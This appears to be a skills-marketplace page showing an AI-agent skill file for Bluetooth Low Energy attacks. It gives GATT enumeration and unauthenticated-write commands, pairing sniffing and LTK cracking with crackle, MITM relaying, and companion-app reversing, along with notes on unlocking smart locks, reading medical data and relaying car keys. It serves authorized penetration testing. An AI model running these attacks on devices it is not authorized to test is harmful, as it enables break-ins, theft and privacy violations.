跳到正文
cccskills
免费在 GitHub 公开

offensive-bluetooth-ble

Assess Bluetooth Low Energy devices by inspecting exposed data and commands, pairing methods, captured traffic, and companion apps. The skill provides a testing workflow for identifying authentication gaps and weaknesses in device communication.

中文简介正在准备中。当前显示英语简介。

原文查看原文说明

Bluetooth Low Energy (BLE) attack methodology — GATT enumeration, characteristic read/write without auth, pairing downgrade (Just Works forced), LE Secure Connections bypass, MITM via active relay, sniffing with Sniffle (TI CC1352) / Ubertooth / Frontline, encryption key extraction (LE Legacy Pairing crackable, LE Secure Connections strong), proximity authentication abuse (cars, locks), and companion-app trust analysis. Use for IoT BLE devices, smart locks, fitness trackers, medical devices, BLE beacons, or any device pairing over BLE.

查看安装方法

适用场景

  • Assessing BLE authentication in smart locks
  • Checking data access on fitness trackers
  • Reviewing pairing security
  • Analyzing companion apps for proprietary commands

包含的文件(1)

  • SKILL.md6.5 KB

SKILL.md(原文)

安装前可以查看交给 AI 代理的指令内容。

Bluetooth Low Energy (BLE) Attacks

BLE devices communicate via GATT — a hierarchy of services, characteristics, and descriptors. Many devices treat the BLE link itself as the trust boundary, exposing privileged operations on characteristics readable/writable from any nearby device.

Quick Workflow

  1. Discover and enumerate the device's GATT tree
  2. Test every characteristic for read/write/notify without authentication
  3. Inspect pairing method — Just Works = no MITM protection
  4. If Just Works, MITM the pairing to capture / inject
  5. Reverse the companion app for proprietary command formats

Discovery + GATT Enumeration

# bettercap (interactive)
sudo bettercap -eval "ble.recon on; events.show 60; ble.show"

# Or, attach to a known-MAC device
sudo bettercap -eval "ble.recon on; ble.enum AA:BB:CC:DD:EE:FF"

# bluetoothctl
bluetoothctl
> scan on
> connect AA:BB:CC:DD:EE:FF
> menu gatt
> list-attributes

# gatttool (deprecated but still works)
gatttool -b AA:BB:CC:DD:EE:FF -I
> connect
> primary           # list services
> char-desc         # list characteristics
> char-read-uuid <uuid>
> char-write-req <handle> <hex>

GATT services use 16-bit UUIDs for SIG-defined services (battery, heart rate) and 128-bit UUIDs for vendor-defined ones. Custom 128-bit UUIDs are where vendor-specific commands live — that's your attack surface.

Characteristic Auth-Free Read/Write

Test every characteristic flagged read/write/notify:

# Read all readable characteristics
for h in $(gatttool -b <MAC> --primary | awk '{print $5}'); do
  echo "=== Handle $h ==="
  gatttool -b <MAC> --char-read --handle=$h
done

# Write to writable characteristics with crafted values
gatttool -b <MAC> --char-write-req --handle=0x0010 --value=0x01

Common findings on consumer BLE devices:

  • Door locks: unlock characteristic accepts any write (no auth)
  • Smart bulbs: brightness/color writeable from any peer
  • Wearables: PIN/lock-state readable
  • BLE beacons: configurable from any peer (rebrand attacks)

Pairing Method Identification

# Bluetoothctl shows pairing method on initial pair attempt
bluetoothctl
> pair AA:BB:CC:DD:EE:FF
# Watch for: "Confirm passkey", "Display passkey", or no prompt = Just Works
MethodSecurityAttack
Just WorksNone — authenticates anythingTrivial MITM during pairing
Numeric ComparisonUser confirms 6-digit codeUI manipulation only; crypto strong
Passkey Entry6-digit code entered or displayedBrute attack on passkey crackable in some pairing variants
Out of Band (OOB)NFC / QR exchangeOut of scope for BLE attacker

LE Legacy Pairing uses TK derivation that's crackable from a captured pairing exchange. LE Secure Connections (Bluetooth 4.2+) uses ECDH and is strong if Just Works isn't forced.

Sniffing the Pairing Exchange

# TI CC1352-based: Sniffle (modern, multi-channel)
sudo Sniffle -c 37,38,39 -o pairing.pcap

# Ubertooth (older but well-supported)
ubertooth-btle -f -c pairing.pcap

# Then in Wireshark, decode with crackle
crackle -i pairing.pcap -o decrypted.pcap
# Crackle handles LE Legacy Pairing TK guessing for short-passkey/JustWorks

For LE Legacy Pairing with Just Works, crackle recovers the LTK in seconds. For LE Secure Connections, crackle returns "encrypted with strong key, no recovery."

Active MITM During Pairing

# btproxy / mirage-action-with-mitm — relay between device and victim's phone
mirage-action-with-mitm
# Or:
git clone https://github.com/Charmve/btproxy
sudo python btproxy.py

If pairing is Just Works, you become the legitimate peer for both sides — read/modify GATT operations in real time.

Companion App Reverse Engineering

For vendor-defined characteristics, the format is in the app:

# Pull APK
adb pull /data/app/com.vendor.app/base.apk

# Decompile
jadx -d app_src base.apk

# Find BLE writes
grep -r "writeCharacteristic\|GATT_CHARACTERISTIC" app_src/

# Look at the bytes the app writes vs. observed in-air values

Hand off to offensive-mobile for deeper companion analysis.

Specific Device Classes

Smart Locks

  • Test unlock characteristic for unauth write
  • Test if rolling token is replayable (capture-and-replay within window)
  • Check for hardcoded LTK in firmware (chip-off + binary analysis — see offensive-iot)

Cars (BLE Phone-as-Key)

  • Relay attacks (extending range with two SDR-equipped relays, see Tesla research 2022)
  • Pairing-state machine flaws

Medical Devices

  • Often use unauthenticated GATT for telemetry — read PHI as a proximity-based attacker
  • Some allow remote configuration (insulin pumps, pacemakers — coordinate disclosure carefully)

Beacons (iBeacon, Eddystone)

  • Often configurable with default password (0000, 12345678, vendor-specific)
  • Rebrand for tracking-confusion or counter-marketing

Detection Considerations

  • BLE has no native intrusion detection comparable to Wi-Fi WIDS
  • Vendor cloud may detect anomalous characteristic patterns (rare)
  • Pairing failure logs visible to user — multiple Just Works prompts may trigger suspicion

Engagement Cheatsheet

# 1. Discover
sudo bettercap -eval "ble.recon on; events.show 60"

# 2. Connect + enum GATT
sudo bettercap -eval "ble.enum <MAC>"

# 3. Probe every characteristic for unauth read/write
for h in <handles>; do gatttool -b <MAC> --char-read --handle=$h; done

# 4. Inspect pairing — Just Works detected?
bluetoothctl pair <MAC>

# 5. If Just Works: sniff during real pair, crack LTK with crackle
sudo Sniffle -c 37,38,39 -o pair.pcap
crackle -i pair.pcap

# 6. RE companion app for proprietary commands
jadx -d app_src vendor.apk

Key References

评价

还没有评价。欢迎分享你的使用感受。

评论

无需登录即可发表。欢迎分享使用感受、提问,或说明在哪些环境下无法运行。

还没有评论。来写第一条吧。

提交后会立即公开。请勿填写邮箱、电话等个人信息。URL 最多 2 个。

0 / 1000 字

此表单受 reCAPTCHA 保护,适用 Google 的隐私权政策和服务条款。

同一仓库的技能

Assess Active Directory security by mapping accounts, permissions, and paths to administrative access. The skill covers credential misuse, certificate service misconfigurations, movement between systems, and hybrid identity environments involving Entra ID.

中文简介正在准备中。当前显示英语简介。

  • Mapping paths to administrative access in Active Directory
  • Reviewing ADCS certificate service configurations
  • Assessing permissions, delegation, and group policies
SnailSploit/Claude-Red76042026年10月13日 更新

Organize red team exercises that simulate adversaries to assess an organization's detection and response. Covers engagement rules, infrastructure, operational controls, evidence handling, and reports that help security teams review gaps and prioritize improvements.

中文简介正在准备中。当前显示英语简介。

  • Defining red team objectives and engagement rules
  • Designing an exercise that assumes an existing breach
  • Organizing evidence and activity logs
SnailSploit/Claude-Red76042026年10月13日 更新

Review how evidence can be altered during authorized security exercises on Windows and Linux. Covers logs, timestamps, memory, disk records, and network traces, alongside the signs defenders use to detect manipulation.

中文简介正在准备中。当前显示英语简介。

  • Planning authorized evidence manipulation tests
  • Reviewing Windows and Linux forensic artifacts
  • Checking detection coverage for altered evidence
SnailSploit/Claude-Red76042026年10月13日 更新

Assess API business workflows for flaws that automated scanners can miss. The skill examines skipped steps, simultaneous transactions, authentication tokens, GraphQL, and webhooks, helping testers document weaknesses and their financial or operational impact during authorized assessments.

中文简介正在准备中。当前显示英语简介。

  • Reviewing order and payment workflow integrity
  • Testing concurrent coupon redemption or transfers
  • Assessing JWT validation and GraphQL controls
SnailSploit/Claude-Red76042026年10月13日 更新

Test REST, gRPC, and WebSocket APIs for weaknesses in authentication, access controls, input handling, and configuration. Provides protocol-specific checks, tool guidance, and detection indicators to help document reproducible findings and severity during authorized assessments.

中文简介正在准备中。当前显示英语简介。

  • Check access controls across users and roles
  • Review token lifecycles and request limits
  • Assess gRPC and WebSocket security
SnailSploit/Claude-Red76042026年10月13日 更新

Assess Bluetooth Classic devices such as older car kits, industrial sensors, and audio accessories. The skill guides device discovery, service inspection, authentication checks, and known vulnerability assessment, helping document exposed functions and device-specific findings.

中文简介正在准备中。当前显示英语简介。

  • Assessing older in-car Bluetooth devices
  • Checking authentication on industrial device services
  • Reviewing exposure to BlueBorne and KNOB
SnailSploit/Claude-Red76042026年10月13日 更新

查看 SnailSploit 的全部技能

报告此技能的问题